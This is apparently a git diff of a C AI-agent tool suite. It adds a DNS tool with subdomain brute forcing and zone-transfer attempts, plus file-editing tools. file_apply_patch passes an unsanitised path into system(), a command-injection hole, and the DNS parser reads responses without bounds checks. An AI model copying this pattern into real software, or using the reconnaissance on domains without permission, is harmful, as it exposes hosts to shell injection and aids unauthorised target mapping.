"cpanel", "whm", "autodiscover", "autoconfig", "m", "imap", "test", "ns", "blog", "pop3",
|
||||
"dev", "www2", "admin", "forum", "news", "vpn", "ns3", "mail2", "new", "mysql",
|
||||
"old", "lists", "support", "mobile", "mx", "static", "docs", "beta", "shop", "sql",
|
||||
"secure", "demo", "cp", "calendar", "wiki", "web", "media", "email", "images", "img",
|
||||
"www1", "intranet", "portal", "video", "sip", "dns2", "api", "cdn", "stats", "dns1",
|
||||
"ns4", "www3", "dns", "search", "staging", "server", "mx1", "chat", "wap", "my",
|
||||
"svn", "mail1", "sites", "proxy", "ads", NULL
|
||||
};
|
||||
|
||||
struct DNS_HEADER {
|
||||
unsigned short id;
|
||||
unsigned char rd :1;
|
||||
unsigned char tc :1;
|
||||
unsigned char aa :1;
|
||||
unsigned char opcode :4;
|
||||
unsigned char qr :1;
|
||||
unsigned char rcode :4;
|
||||
unsigned char cd :1;
|
||||
unsigned char ad :1;
|
||||
unsigned char z :1;
|
||||
unsigned char ra :1;
|
||||
unsigned short q_count;
|
||||
unsigned short ans_count;
|
||||
unsigned short auth_count;
|
||||
unsigned short add_count;
|
||||
};
|
||||
|
||||
struct QUESTION {
|
||||
unsigned short qtype;
|
||||
unsigned short qclass;
|
||||
};
|
||||
|
||||
#pragma pack(push, 1)
|
||||
struct R_DATA {
|
||||
unsigned short type;
|
||||
unsigned short _class;
|
||||
unsigned int ttl;
|
||||
unsigned short data_len;
|
||||
};
|
||||
#pragma pack(pop)
|
||||
|
||||
static void ChangetoDnsNameFormat(unsigned char* dns, unsigned char* host) {
|
||||
int lock = 0, i;
|
||||
char temp_host[256];
|
||||
size_t len = strlen((char*)host);
|
||||
if (len > 250) len = 250;
|
||||
memcpy(temp_host, host, len);
|
||||
temp_host[len] = '\0';
|
||||
strcat(temp_host, ".");
|
||||
|
||||
for(i = 0; i < (int)strlen(temp_host); i++) {
|
||||
if(temp_host[i] == '.') {
|
||||
*dns++ = (unsigned char)(i - lock);
|
||||
for(; lock < i; lock++) {
|
||||
*dns++ = (unsigned char)temp_host[lock];
|
||||
}
|
||||
lock++;
|
||||
}
|
||||
}
|
||||
*dns++ = '\0';
|
||||
}
|
||||
|
||||
static unsigned char* ReadName(unsigned char* reader, unsigned char* buffer, int* count) {
|
||||
unsigned char *name;
|
||||
unsigned int p=0, jumped=0, offset;
|
||||
int i, step = 0;
|
||||
|
||||
*count = 1;
|
||||
name = (unsigned char*)malloc(256);
|
||||
name[0]='\0';
|
||||
|
||||
while(*reader != 0) {
|
||||
if(*reader >= 192) {
|
||||
offset = (*reader)*256 + *(reader+1) - 49152;
|
||||
reader = buffer + offset;
|
||||
jumped = 1;
|
||||
}
|
||||
|
||||
unsigned char len = *reader;
|
||||
for(i=0; i<len; i++) {
|
||||
if (p < 254) name[p++] = reader[i+1];
|
||||
}
|
||||
if (p < 254) name[p++] = '.';
|
||||
reader = reader + len + 1;
|
||||
|
||||
if(jumped == 0) {
|
||||
*count = *count + len + 1;
|
||||
} else {
|
||||
step++;
|
||||
}
|
||||
}
|
||||
|
||||
if (p > 0) name[p-1] = '\0';
|
||||
else name[0] = '\0';
|
||||
|
||||
if(jumped == 1) {
|
||||
*count = *count + 1;
|
||||
}
|
||||
|
||||
return name;
|
||||
}
|
||||
|
||||
static void perform_single_query(const char *hostname, int qtype, const char *dns_server, struct json_object *results_array) {
|
||||
unsigned char buf[65536], *qname;
|
||||
int s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
if (s < 0) return;
|
||||
|
||||
struct timeval tv;
|
||||
tv.tv_sec = 1;
|
||||
tv.tv_usec = 500000;
|
||||
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
|
||||
struct sockaddr_in dest;
|
||||
dest.sin_family = AF_INET;
|
||||
dest.sin_port = htons(53);
|
||||
dest.sin_addr.s_addr = inet_addr(dns_server);
|
||||
|
||||
struct DNS_HEADER *dns = (struct DNS_HEADER *)&buf;
|
||||
memset(buf, 0, sizeof(buf));
|
||||
dns->id = (unsigned short)htons(getpid() + (unsigned short)qtype);
|
||||
dns->qr = 0;
|
||||
dns->rd = 1;
|
||||
dns->q_count = htons(1);
|
||||
|
||||
qname = (unsigned char*)&buf[sizeof(struct DNS_HEADER)];
|
||||
ChangetoDnsNameFormat(qname, (unsigned char*)hostname);
|
||||
|
||||
struct QUESTION *qinfo = (struct QUESTION*)&buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1)];
|
||||
qinfo->qtype = htons((unsigned short)qtype);
|
||||
qinfo->qclass = htons(1);
|
||||
|
||||
if (sendto(s, (char*)buf, sizeof(struct DNS_HEADER) + strlen((const char*)qname) + 1 + sizeof(struct QUESTION), 0, (struct sockaddr*)&dest, sizeof(dest)) < 0) {
|
||||
close(s);
|
||||
return;
|
||||
}
|
||||
|
||||
int i = sizeof(dest);
|
||||
int res = (int)recvfrom(s, (char*)buf, 65536, 0, (struct sockaddr*)&dest, (socklen_t*)&i);
|
||||
if (res < 0) {
|
||||
close(s);
|
||||
return;
|
||||
}
|
||||
|
||||
dns = (struct DNS_HEADER*)buf;
|
||||
unsigned char *reader = &buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1) + sizeof(struct QUESTION)];
|
||||
|
||||
for(i = 0; i < ntohs(dns->ans_count); i++) {
|
||||
int stop = 0;
|
||||
unsigned char *name = ReadName(reader, buf, &stop);
|
||||
reader += stop;
|
||||
struct R_DATA *resource = (struct R_DATA*)(reader);
|
||||
reader += sizeof(struct R_DATA);
|
||||
|
||||
struct json_object *entry = json_object_new_object();
|
||||
json_object_object_add(entry, "name", json_object_new_string((char*)name));
|
||||
free(name);
|
||||
|
||||
if(ntohs(resource->type) == T_A) {
|
||||
struct in_addr addr;
|
||||
addr.s_addr = *(unsigned int*)reader;
|
||||
json_object_object_add(entry, "type", json_object_new_string("A"));
|
||||
json_object_object_add(entry, "value", json_object_new_string(inet_ntoa(addr)));
|
||||
} else if(ntohs(resource->type) == T_AAAA) {
|
||||
char ip6[64];
|
||||
inet_ntop(AF_INET6, reader, ip6, sizeof(ip6));
|
||||
json_object_object_add(entry, "type", json_object_new_string("AAAA"));
|
||||
json_object_object_add(entry, "value", json_object_new_string(ip6));
|
||||
} else if(ntohs(resource->type) == T_NS || ntohs(resource->type) == T_CNAME || ntohs(resource->type) == T_PTR) {
|
||||
unsigned char *rname = ReadName(reader, buf, &stop);
|
||||
const char *label = (ntohs(resource->type) == T_NS) ? "NS" : (ntohs(resource->type) == T_CNAME ? "CNAME" : "PTR");
|
||||
json_object_object_add(entry, "type", json_object_new_string(label));
|
||||
json_object_object_add(entry, "value", json_object_new_string((char*)rname));
|
||||
free(rname);
|
||||
} else if(ntohs(resource->type) == T_MX) {
|
||||
unsigned char *rname = ReadName(reader + 2, buf, &stop);
|
||||
json_object_object_add(entry, "type", json_object_new_string("MX"));
|
||||
json_object_object_add(entry, "value", json_object_new_string((char*)rname));
|
||||
free(rname);
|
||||
} else if(ntohs(resource->type) == T_TXT) {
|
||||
int txt_len = (int)reader[0];
|
||||
char *txt_val = malloc((size_t)txt_len + 1);
|
||||
memcpy(txt_val, reader + 1, (size_t)txt_len);
|
||||
txt_val[txt_len] = '\0';
|
||||
json_object_object_add(entry, "type", json_object_new_string("TXT"));
|
||||
json_object_object_add(entry, "value", json_object_new_string(txt_val));
|
||||
free(txt_val);
|
||||
} else {
|
||||
char type_str[10];
|
||||
snprintf(type_str, sizeof(type_str), "%d", ntohs(resource->type));
|
||||
json_object_object_add(entry, "type", json_object_new_string(type_str));
|
||||
json_object_object_add(entry, "value", json_object_new_string("Raw data"));
|
||||
}
|
||||
json_object_array_add(results_array, entry);
|
||||
reader += ntohs(resource->data_len);
|
||||
}
|
||||
close(s);
|
||||
}
|
||||
|
||||
static void perform_axfr(const char *domain, const char *ns_ip, struct json_object *results_array) {
|
||||
int s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (s < 0) return;
|
||||
|
||||
struct timeval tv;
|
||||
tv.tv_sec = 5;
|
||||
tv.tv_usec = 0;
|
||||
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
|
||||
struct sockaddr_in dest;
|
||||
dest.sin_family = AF_INET;
|
||||
dest.sin_port = htons(53);
|
||||
dest.sin_addr.s_addr = inet_addr(ns_ip);
|
||||
|
||||
if (connect(s, (struct sockaddr *)&dest, sizeof(dest)) < 0) {
|
||||
close(s);
|
||||
return;
|
||||
}
|
||||
|
||||
unsigned char buf[4096], *qname;
|
||||
unsigned short query_len;
|
||||
|
||||
struct DNS_HEADER *dns = (struct DNS_HEADER *)(buf + 2);
|
||||
memset(buf, 0, sizeof(buf));
|
||||
dns->id = htons((unsigned short)getpid());
|
||||
dns->qr = 0;
|
||||
dns->rd = 0;
|
||||
dns->q_count = htons(1);
|
||||
|
||||
qname = (unsigned char*)(buf + 2 + sizeof(struct DNS_HEADER));
|
||||
ChangetoDnsNameFormat(qname, (unsigned char*)domain);
|
||||
|
||||
struct QUESTION *qinfo = (struct QUESTION*)(buf + 2 + sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1));
|
||||
qinfo->qtype = htons(T_AXFR);
|
||||
qinfo->qclass = htons(1);
|
||||
|
||||
query_len = htons((unsigned short)(sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1) + sizeof(struct QUESTION)));
|
||||
memcpy(buf, &query_len, 2);
|
||||
|
||||
if (send(s, buf, (size_t)(ntohs(query_len) + 2), 0) < 0) {
|
||||
close(s);
|
||||
return;
|
||||
}
|
||||
|
||||
int total_records = 0;
|
||||
while (total_records < 1000) {
|
||||
unsigned short msg_len;
|
||||
if (recv(s, &msg_len, 2, 0) <= 0) break;
|
||||
msg_len = ntohs(msg_len);
|
||||
|
||||
unsigned char *msg_buf = malloc(msg_len);
|
||||
int received = 0;
|
||||
while (received < msg_len) {
|
||||
int r = (int)recv(s, msg_buf + received, (size_t)(msg_len - received), 0);
|
||||
if (r <= 0) break;
|
||||
received += r;
|
||||
}
|
||||
|
||||
struct DNS_HEADER *res_dns = (struct DNS_HEADER *)msg_buf;
|
||||
unsigned char *reader = msg_buf + sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1) + sizeof(struct QUESTION);
|
||||
|
||||
int ans_count = ntohs(res_dns->ans_count);
|
||||
if (ans_count == 0 && total_records == 0) {
|
||||
free(msg_buf);
|
||||
break;
|
||||
}
|
||||
|
||||
for (int i = 0; i < ans_count; i++) {
|
||||
int stop = 0;
|
||||
unsigned char *name = ReadName(reader, msg_buf, &stop);
|
||||
reader += stop;
|
||||
struct R_DATA *resource = (struct R_DATA*)(reader);
|
||||
reader += sizeof(struct R_DATA);
|
||||
|
||||
struct json_object *entry = json_object_new_object();
|
||||
json_object_object_add(entry, "name", json_object_new_string((char*)name));
|
||||
free(name);
|
||||
|
||||
if (ntohs(resource->type) == T_A) {
|
||||
struct in_addr addr;
|
||||
addr.s_addr = *(unsigned int*)reader;
|
||||
json_object_object_add(entry, "type", json_object_new_string("A"));
|
||||
json_object_object_add(entry, "value", json_object_new_string(inet_ntoa(addr)));
|
||||
} else {
|
||||
json_object_object_add(entry, "type", json_object_new_string("OTHER"));
|
||||
}
|
||||
json_object_array_add(results_array, entry);
|
||||
reader += ntohs(resource->data_len);
|
||||
total_records++;
|
||||
}
|
||||
free(msg_buf);
|
||||
if (ans_count > 0 && total_records > 1) break;
|
||||
}
|
||||
|
||||
close(s);
|
||||
}
|
||||
|
||||
static bool is_ip_address(const char *str) {
|
||||
struct in_addr addr;
|
||||
return inet_aton(str, &addr) != 0;
|
||||
}
|
||||
|
||||
static struct json_object *dns_lookup_get_description(void);
|
||||
static char *dns_lookup_execute(tool_t *self, struct json_object *args);
|
||||
|
||||
static const tool_vtable_t dns_lookup_vtable = {
|
||||
.get_description = dns_lookup_get_description,
|
||||
.execute = dns_lookup_execute,
|
||||
.print_action = NULL
|
||||
};
|
||||
|
||||
static tool_t dns_lookup_tool = { .vtable = &dns_lookup_vtable, .name = "dns_lookup" };
|
||||
|
||||
tool_t *tool_dns_lookup_create(void) { return &dns_lookup_tool; }
|
||||
|
||||
static char *dns_lookup_execute(tool_t *self, struct json_object *args) {
|
||||
(void)self;
|
||||
struct json_object *host_obj, *type_obj, *server_obj, *enumerate_obj, *action_obj;
|
||||
if (!json_object_object_get_ex(args, "hostname", &host_obj)) return strdup("Error: missing hostname");
|
||||
|
||||
const char *hostname = json_object_get_string(host_obj);
|
||||
char final_hostname[256];
|
||||
strncpy(final_hostname, hostname, 255);
|
||||
final_hostname[255] = '\0';
|
||||
|
||||
const char *dns_server = "8.8.8.8";
|
||||
if (json_object_object_get_ex(args, "dns_server", &server_obj)) dns_server = json_object_get_string(server_obj);
|
||||
|
||||
const char *action = "lookup";
|
||||
if (json_object_object_get_ex(args, "action", &action_obj)) action = json_object_get_string(action_obj);
|
||||
|
||||
struct json_object *results = json_object_new_array();
|
||||
|
||||
if (strcmp(action, "brute_force") == 0) {
|
||||
int count = 0;
|
||||
while(common_subdomains[count]) count++;
|
||||
fprintf(stderr, " \033[1mBrute forcing subdomains for %s (%d candidates)...\033[0m\n", final_hostname, count);
|
||||
for (int i = 0; common_subdomains[i]; i++) {
|
||||
fprintf(stderr, "\r -> [%d/%d] Testing: %s ", i+1, count, common_subdomains[i]);
|
||||
fflush(stderr);
|
||||
char sub[512];
|
||||
snprintf(sub, sizeof(sub), "%s.%s", common_subdomains[i], final_hostname);
|
||||
int prev_len = json_object_array_length(results);
|
||||
perform_single_query(sub, T_A, dns_server, results);
|
||||
if (json_object_array_length(results) > prev_len) {
|
||||
fprintf(stderr, "[\033[32mFOUND\033[0m] \n");
|
||||
}
|
||||
}
|
||||
fprintf(stderr, "\n \033[32mBrute force complete.\033[0m\n");
|
||||
} else if (strcmp(action, "axfr") == 0) {
|
||||
fprintf(stderr, " \033[1mAttempting Zone Transfer (AXFR) for %s...\033[0m\n", final_hostname);
|
||||
struct json_object *ns_results = json_object_new_array();
|
||||
perform_single_query(final_hostname, T_NS, dns_server, ns_results);
|
||||
int ns_count = json_object_array_length(ns_results);
|
||||
for (int i = 0; i < ns_count; i++) {
|
||||
struct json_object *ns_entry = json_object_array_get_idx(ns_results, i);
|
||||
struct json_object *val_obj;
|
||||
if (json_object_object_get_ex(ns_entry, "value", &val_obj)) {
|
||||
const char *ns_name = json_object_get_string(val_obj);
|
||||
fprintf(stderr, " -> Trying nameserver: %s ", ns_name);
|
||||
fflush(stderr);
|
||||
struct json_object *ip_results = json_object_new_array();
|
||||
perform_single_query(ns_name, T_A, dns_server, ip_results);
|
||||
if (json_object_array_length(ip_results) > 0) {
|
||||
struct json_object *ip_entry = json_object_array_get_idx(ip_results, 0);
|
||||
struct json_object *ip_val;
|
||||
if (json_object_object_get_ex(ip_entry, "value", &ip_val)) {
|
||||
int p_len = json_object_array_length(results);
|
||||
perform_axfr(final_hostname, json_object_get_string(ip_val), results);
|
||||
if (json_object_array_length(results) > p_len) {
|
||||
fprintf(stderr, "[\033[32mSUCCESS\033[0m]\n");
|
||||
} else {
|
||||
fprintf(stderr, "[\033[31mREFUSED\033[0m]\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
json_object_put(ip_results);
|
||||
}
|
||||
}
|
||||
json_object_put(ns_results);
|
||||
} else {
|
||||
bool enumerate = false;
|
||||
if (json_object_object_get_ex(args, "enumerate", &enumerate_obj)) enumerate = json_object_get_boolean(enumerate_obj);
|
||||
|
||||
if (enumerate || strcmp(action, "enumerate") == 0) {
|
||||
int types[] = { T_A, T_AAAA, T_NS, T_MX, T_TXT, T_SOA, T_CNAME };
|
||||
const char *type_names[] = { "A", "AAAA", "NS", "MX", "TXT", "SOA", "CNAME" };
|
||||
fprintf(stderr, " \033[1mEnumerating records for %s...\033[0m\n", final_hostname);
|
||||
for (size_t i = 0; i < sizeof(types)/sizeof(types[0]); i++) {
|
||||
fprintf(stderr, " -> Querying %s... ", type_names[i]);
|
||||
fflush(stderr);
|
||||
int p_len = json_object_array_length(results);
|
||||
perform_single_query(final_hostname, types[i], dns_server, results);
|
||||
if (json_object_array_length(results) > p_len) {
|
||||
fprintf(stderr, "[\033[32mOK\033[0m]\n");
|
||||
} else {
|
||||
fprintf(stderr, "[\033[2mNONE\033[0m]\n");
|
||||
}
|
||||
}
|
||||
} else {
|
||||
int qtype = T_A;
|
||||
if (json_object_object_get_ex(args, "type", &type_obj)) {
|
||||
const char *t = json_object_get_string(type_obj);
|
||||
if (!strcmp(t, "NS")) qtype = T_NS;
|
||||
else if (!strcmp(t, "MX")) qtype = T_MX;
|
||||
else if (!strcmp(t, "CNAME")) qtype = T_CNAME;
|
||||
else if (!strcmp(t, "TXT")) qtype = T_TXT;
|
||||
else if (!strcmp(t, "AAAA")) qtype = T_AAAA;
|
||||
else if (!strcmp(t, "PTR")) {
|
||||
qtype = T_PTR;
|
||||
if (is_ip_address(hostname)) {
|
||||
int a, b, c, d;
|
||||
sscanf(hostname, "%d.%d.%d.%d", &a, &b, &c, &d);
|
||||
snprintf(final_hostname, sizeof(final_hostname), "%d.%d.%d.%d.in-addr.arpa", d, c, b, a);
|
||||
}
|
||||
}
|
||||
}
|
||||
perform_single_query(final_hostname, qtype, dns_server, results);
|
||||
}
|
||||
}
|
||||
|
||||
char *out = strdup(json_object_to_json_string_ext(results, JSON_C_TO_STRING_PRETTY));
|
||||
json_object_put(results);
|
||||
return out;
|
||||
}
|
||||
|
||||
static struct json_object *dns_lookup_get_description(void) {
|
||||
struct json_object *root = json_object_new_object();
|
||||
json_object_object_add(root, "type", json_object_new_string("function"));
|
||||
struct json_object *function = json_object_new_object();
|
||||
json_object_object_add(function, "name", json_object_new_string("dns_lookup"));
|
||||
json_object_object_add(function, "description", json_object_new_string("Advanced DNS discovery tool. Supports lookup, enumerate, brute_force, and axfr."));
|
||||
struct json_object *parameters = json_object_new_object();
|
||||
json_object_object_add(parameters, "type", json_object_new_string("object"));
|
||||
struct json_object *properties = json_object_new_object();
|
||||
|
||||
struct json_object *host = json_object_new_object();
|
||||
json_object_object_add(host, "type", json_object_new_string("string"));
|
||||
json_object_object_add(host, "description", json_object_new_string("Hostname or Domain."));
|
||||
json_object_object_add(properties, "hostname", host);
|
||||
|
||||
struct json_object *action = json_object_new_object();
|
||||
json_object_object_add(action, "type", json_object_new_string("string"));
|
||||
json_object_object_add(action, "description", json_object_new_string("Action: lookup, enumerate, brute_force, axfr."));
|
||||
json_object_object_add(properties, "action", action);
|
||||
|
||||
struct json_object *type = json_object_new_object();
|
||||
json_object_object_add(type, "type", json_object_new_string("string"));
|
||||
json_object_object_add(type, "description", json_object_new_string("Record type for 'lookup' (A, NS, MX, etc)."));
|
||||
json_object_object_add(properties, "type", type);
|
||||
|
||||
json_object_object_add(parameters, "properties", properties);
|
||||
struct json_object *required = json_object_new_array();
|
||||
json_object_array_add(required, json_object_new_string("hostname"));
|
||||
json_object_object_add(parameters, "required", required);
|
||||
json_object_object_add(function, "parameters", parameters);
|
||||
json_object_object_add(root, "function", function);
|
||||
return root;
|
||||
}
|
||||
@ -2,6 +2,7 @@
|
||||
|
||||
#include "tool.h"
|
||||
#include "r_config.h"
|
||||
#include "r_diff.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
@ -261,14 +262,36 @@ static char *write_file_execute(tool_t *self, struct json_object *args) {
|
||||
}
|
||||
|
||||
const char *path = json_object_get_string(path_obj);
|
||||
const char *content = json_object_get_string(content_obj);
|
||||
const char *new_content = json_object_get_string(content_obj);
|
||||
|
||||
// Read old content for diff
|
||||
char *old_content = NULL;
|
||||
FILE *old_fp = fopen(path, "r");
|
||||
if (old_fp) {
|
||||
fseek(old_fp, 0, SEEK_END);
|
||||
long size = ftell(old_fp);
|
||||
rewind(old_fp);
|
||||
if (size >= 0) {
|
||||
old_content = malloc((size_t)size + 1);
|
||||
if (old_content) {
|
||||
size_t rs = fread(old_content, 1, (size_t)size, old_fp);
|
||||
old_content[rs] = '\0';
|
||||
}
|
||||
}
|
||||
fclose(old_fp);
|
||||
}
|
||||
|
||||
if (old_content) {
|
||||
r_diff_print(path, old_content, new_content);
|
||||
free(old_content);
|
||||
}
|
||||
|
||||
ensure_parent_directory_exists(path);
|
||||
|
||||
FILE *fp = fopen(path, "w+");
|
||||
if (!fp) return strdup("Failed to open file for writing!");
|
||||
|
||||
fwrite(content, 1, strlen(content), fp);
|
||||
fwrite(new_content, 1, strlen(new_content), fp);
|
||||
fclose(fp);
|
||||
return strdup("File successfully written.");
|
||||
}
|
||||
@ -557,7 +580,12 @@ static struct json_object *getpwd_get_description(void) {
|
||||
json_object_object_add(function, "description",
|
||||
json_object_new_string("Returns the current working directory as a string."));
|
||||
|
||||
json_object_object_add(function, "parameters", json_object_new_null());
|
||||
struct json_object *parameters = json_object_new_object();
|
||||
json_object_object_add(parameters, "type", json_object_new_string("object"));
|
||||
json_object_object_add(parameters, "properties", json_object_new_object());
|
||||
json_object_object_add(parameters, "additionalProperties", json_object_new_boolean(0));
|
||||
|
||||
json_object_object_add(function, "parameters", parameters);
|
||||
json_object_object_add(root, "function", function);
|
||||
return root;
|
||||
}
|
||||
|
||||
256
src/tools/tool_file_edit.c
Normal file
256
src/tools/tool_file_edit.c
Normal file
@ -0,0 +1,256 @@
|
||||
// retoor <retoor@molodetz.nl>
|
||||
|
||||
#include "tool.h"
|
||||
#include "r_diff.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static struct json_object *file_line_replace_get_description(void);
|
||||
static char *file_line_replace_execute(tool_t *self, struct json_object *args);
|
||||
static void file_line_replace_print_action(const char *name, struct json_object *args);
|
||||
|
||||
static struct json_object *file_apply_patch_get_description(void);
|
||||
static char *file_apply_patch_execute(tool_t *self, struct json_object *args);
|
||||
static void file_apply_patch_print_action(const char *name, struct json_object *args);
|
||||
|
||||
static const tool_vtable_t file_line_replace_vtable = {
|
||||
.get_description = file_line_replace_get_description,
|
||||
.execute = file_line_replace_execute,
|
||||
.print_action = file_line_replace_print_action
|
||||
};
|
||||
|
||||
static const tool_vtable_t file_apply_patch_vtable = {
|
||||
.get_description = file_apply_patch_get_description,
|
||||
.execute = file_apply_patch_execute,
|
||||
.print_action = file_apply_patch_print_action
|
||||
};
|
||||
|
||||
static tool_t file_line_replace_tool = { .vtable = &file_line_replace_vtable, .name = "file_line_replace" };
|
||||
static tool_t file_apply_patch_tool = { .vtable = &file_apply_patch_vtable, .name = "file_apply_patch" };
|
||||
|
||||
tool_t *tool_file_line_replace_create(void) { return &file_line_replace_tool; }
|
||||
tool_t *tool_file_apply_patch_create(void) { return &file_apply_patch_tool; }
|
||||
|
||||
static char *read_full_file(const char *path) {
|
||||
FILE *fp = fopen(path, "r");
|
||||
if (!fp) return NULL;
|
||||
fseek(fp, 0, SEEK_END);
|
||||
long size = ftell(fp);
|
||||
rewind(fp);
|
||||
char *content = malloc(size + 1);
|
||||
if (content) {
|
||||
size_t rs = fread(content, 1, size, fp);
|
||||
content[rs] = '\0';
|
||||
}
|
||||
fclose(fp);
|
||||
return content;
|
||||
}
|
||||
|
||||
static void file_line_replace_print_action(const char *name, struct json_object *args) {
|
||||
(void)name;
|
||||
struct json_object *path;
|
||||
if (json_object_object_get_ex(args, "path", &path)) {
|
||||
fprintf(stderr, " -> Replacing lines in: %s\n", json_object_get_string(path));
|
||||
}
|
||||
}
|
||||
|
||||
static char *file_line_replace_execute(tool_t *self, struct json_object *args) {
|
||||
(void)self;
|
||||
struct json_object *path_obj, *start_obj, *end_obj, *replacement_obj;
|
||||
if (!json_object_object_get_ex(args, "path", &path_obj) ||
|
||||
!json_object_object_get_ex(args, "start_line", &start_obj) ||
|
||||
!json_object_object_get_ex(args, "end_line", &end_obj) ||
|
||||
!json_object_object_get_ex(args, "replacement", &replacement_obj)) {
|
||||
return strdup("Error: missing arguments for file_line_replace");
|
||||
}
|
||||
|
||||
const char *path = json_object_get_string(path_obj);
|
||||
int start_line = json_object_get_int(start_obj);
|
||||
int end_line = json_object_get_int(end_obj);
|
||||
const char *replacement = json_object_get_string(replacement_obj);
|
||||
|
||||
char *old_content = read_full_file(path);
|
||||
if (!old_content) return strdup("Error: could not read file");
|
||||
|
||||
// Split into lines
|
||||
char **lines = NULL;
|
||||
int count = 0;
|
||||
char *copy = strdup(old_content);
|
||||
char *saveptr;
|
||||
char *line = strtok_r(copy, "\n", &saveptr);
|
||||
while (line) {
|
||||
lines = realloc(lines, sizeof(char *) * (count + 1));
|
||||
lines[count++] = strdup(line);
|
||||
line = strtok_r(NULL, "\n", &saveptr);
|
||||
}
|
||||
free(copy);
|
||||
|
||||
if (start_line < 1 || start_line > count || end_line < start_line || end_line > count) {
|
||||
for (int i = 0; i < count; i++) free(lines[i]);
|
||||
free(lines);
|
||||
free(old_content);
|
||||
return strdup("Error: invalid line range");
|
||||
}
|
||||
|
||||
// Build new content
|
||||
size_t new_size = 1024 * 1024; // start with 1MB
|
||||
char *new_content = malloc(new_size);
|
||||
new_content[0] = '\0';
|
||||
size_t current_len = 0;
|
||||
|
||||
for (int i = 1; i <= count; i++) {
|
||||
const char *to_add = NULL;
|
||||
if (i < start_line || i > end_line) {
|
||||
to_add = lines[i - 1];
|
||||
} else if (i == start_line) {
|
||||
to_add = replacement;
|
||||
}
|
||||
|
||||
if (to_add) {
|
||||
size_t add_len = strlen(to_add);
|
||||
if (current_len + add_len + 2 >= new_size) {
|
||||
new_size *= 2;
|
||||
new_content = realloc(new_content, new_size);
|
||||
}
|
||||
strcat(new_content, to_add);
|
||||
strcat(new_content, "\n");
|
||||
current_len += add_len + 1;
|
||||
}
|
||||
}
|
||||
|
||||
r_diff_print(path, old_content, new_content);
|
||||
|
||||
FILE *fp = fopen(path, "w");
|
||||
if (fp) {
|
||||
fputs(new_content, fp);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
for (int i = 0; i < count; i++) free(lines[i]);
|
||||
free(lines);
|
||||
free(old_content);
|
||||
free(new_content);
|
||||
|
||||
return strdup("Lines replaced successfully.");
|
||||
}
|
||||
|
||||
static void file_apply_patch_print_action(const char *name, struct json_object *args) {
|
||||
(void)name;
|
||||
struct json_object *path;
|
||||
if (json_object_object_get_ex(args, "path", &path)) {
|
||||
fprintf(stderr, " -> Applying patch to: %s\n", json_object_get_string(path));
|
||||
}
|
||||
}
|
||||
|
||||
static char *file_apply_patch_execute(tool_t *self, struct json_object *args) {
|
||||
(void)self;
|
||||
struct json_object *path_obj, *patch_obj;
|
||||
if (!json_object_object_get_ex(args, "path", &path_obj) ||
|
||||
!json_object_object_get_ex(args, "patch", &patch_obj)) {
|
||||
return strdup("Error: missing arguments for file_apply_patch");
|
||||
}
|
||||
|
||||
const char *path = json_object_get_string(path_obj);
|
||||
const char *patch = json_object_get_string(patch_obj);
|
||||
|
||||
char *old_content = read_full_file(path);
|
||||
|
||||
char patch_file[] = "/tmp/r_patch_XXXXXX";
|
||||
int fd = mkstemp(patch_file);
|
||||
if (fd == -1) return strdup("Error: could not create temp patch file");
|
||||
ssize_t written = write(fd, patch, strlen(patch));
|
||||
close(fd);
|
||||
|
||||
if (written < (ssize_t)strlen(patch)) {
|
||||
unlink(patch_file);
|
||||
return strdup("Error: could not write full patch to temp file");
|
||||
}
|
||||
|
||||
char cmd[1024];
|
||||
snprintf(cmd, sizeof(cmd), "patch %s %s", path, patch_file);
|
||||
int res = system(cmd);
|
||||
unlink(patch_file);
|
||||
|
||||
if (res != 0) {
|
||||
free(old_content);
|
||||
return strdup("Error: patch application failed");
|
||||
}
|
||||
|
||||
char *new_content = read_full_file(path);
|
||||
if (old_content && new_content) {
|
||||
r_diff_print(path, old_content, new_content);
|
||||
}
|
||||
|
||||
free(old_content);
|
||||
free(new_content);
|
||||
|
||||
return strdup("Patch applied successfully.");
|
||||
}
|
||||
|
||||
static struct json_object *file_line_replace_get_description(void) {
|
||||
struct json_object *root = json_object_new_object();
|
||||
json_object_object_add(root, "type", json_object_new_string("function"));
|
||||
struct json_object *function = json_object_new_object();
|
||||
json_object_object_add(function, "name", json_object_new_string("file_line_replace"));
|
||||
json_object_object_add(function, "description", json_object_new_string("Replace a range of lines in a file with new content."));
|
||||
struct json_object *parameters = json_object_new_object();
|
||||
json_object_object_add(parameters, "type", json_object_new_string("object"));
|
||||
struct json_object *properties = json_object_new_object();
|
||||
|
||||
struct json_object *path = json_object_new_object();
|
||||
json_object_object_add(path, "type", json_object_new_string("string"));
|
||||
json_object_object_add(properties, "path", path);
|
||||
|
||||
struct json_object *start = json_object_new_object();
|
||||
json_object_object_add(start, "type", json_object_new_string("integer"));
|
||||
json_object_object_add(properties, "start_line", start);
|
||||
|
||||
struct json_object *end = json_object_new_object();
|
||||
json_object_object_add(end, "type", json_object_new_string("integer"));
|
||||
json_object_object_add(properties, "end_line", end);
|
||||
|
||||
struct json_object *repl = json_object_new_object();
|
||||
json_object_object_add(repl, "type", json_object_new_string("string"));
|
||||
json_object_object_add(properties, "replacement", repl);
|
||||
|
||||
json_object_object_add(parameters, "properties", properties);
|
||||
struct json_object *required = json_object_new_array();
|
||||
json_object_array_add(required, json_object_new_string("path"));
|
||||
json_object_array_add(required, json_object_new_string("start_line"));
|
||||
json_object_array_add(required, json_object_new_string("end_line"));
|
||||
json_object_array_add(required, json_object_new_string("replacement"));
|
||||
json_object_object_add(parameters, "required", required);
|
||||
json_object_object_add(function, "parameters", parameters);
|
||||
json_object_object_add(root, "function", function);
|
||||
return root;
|
||||
}
|
||||
|
||||
